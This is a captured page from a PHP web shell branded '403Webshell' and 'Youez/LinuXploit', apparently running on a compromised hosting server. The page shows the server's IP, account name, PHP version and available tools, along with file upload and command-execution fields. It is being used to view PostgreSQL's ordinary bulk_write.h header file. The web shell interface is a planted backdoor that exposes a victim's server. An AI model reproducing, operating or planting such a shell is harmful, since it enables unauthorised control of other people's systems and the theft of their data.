403Webshell
Server IP : 185.216.8.13  /  Your IP : 216.73.216.102
Web Server : Apache
System : Linux webhost-vie2.sitetide.com 4.18.0-553.156.1.el8_10.x86_64 #1 SMP Mon Aug 17 17:52:57 UTC 2026 x86_64
User : medicalkn ( 9986)
PHP Version : 8.2.33
Disable Function : syslog
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/thread-self/root/usr/pgsql-17/include/server/storage/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/thread-self/root/usr/pgsql-17/include/server/storage/bulk_write.h
/*-------------------------------------------------------------------------
 *
 * bulk_write.h
 *	  Efficiently and reliably populate a new relation
 *
 *
 * Portions Copyright (c) 1996-2024, PostgreSQL Global Development Group
 * Portions Copyright (c) 1994, Regents of the University of California
 *
 * src/include/storage/bulk_write.h
 *
 *-------------------------------------------------------------------------
 */
#ifndef BULK_WRITE_H
#define BULK_WRITE_H

#include "storage/smgr.h"
#include "utils/rel.h"

/* Bulk writer state, contents are private to bulk_write.c */
typedef struct BulkWriteState BulkWriteState;

/*
 * Temporary buffer to hold a page to until it's written out. Use
 * smgr_bulk_get_buf() to reserve one of these.  This is a separate typedef to
 * distinguish it from other block-sized buffers passed around in the system.
 */
typedef PGIOAlignedBlock *BulkWriteBuffer;

/* forward declared from smgr.h */
struct SMgrRelationData;

extern BulkWriteState *smgr_bulk_start_rel(Relation rel, ForkNumber forknum);
extern BulkWriteState *smgr_bulk_start_smgr(struct SMgrRelationData *smgr, ForkNumber forknum, bool use_wal);

extern BulkWriteBuffer smgr_bulk_get_buf(BulkWriteState *bulkstate);
extern void smgr_bulk_write(BulkWriteState *bulkstate, BlockNumber blocknum, BulkWriteBuffer buf, bool page_std);

extern void smgr_bulk_finish(BulkWriteState *bulkstate);

#endif							/* BULK_WRITE_H */

Youez - 2016 - github.com/yon3zu
LinuXploit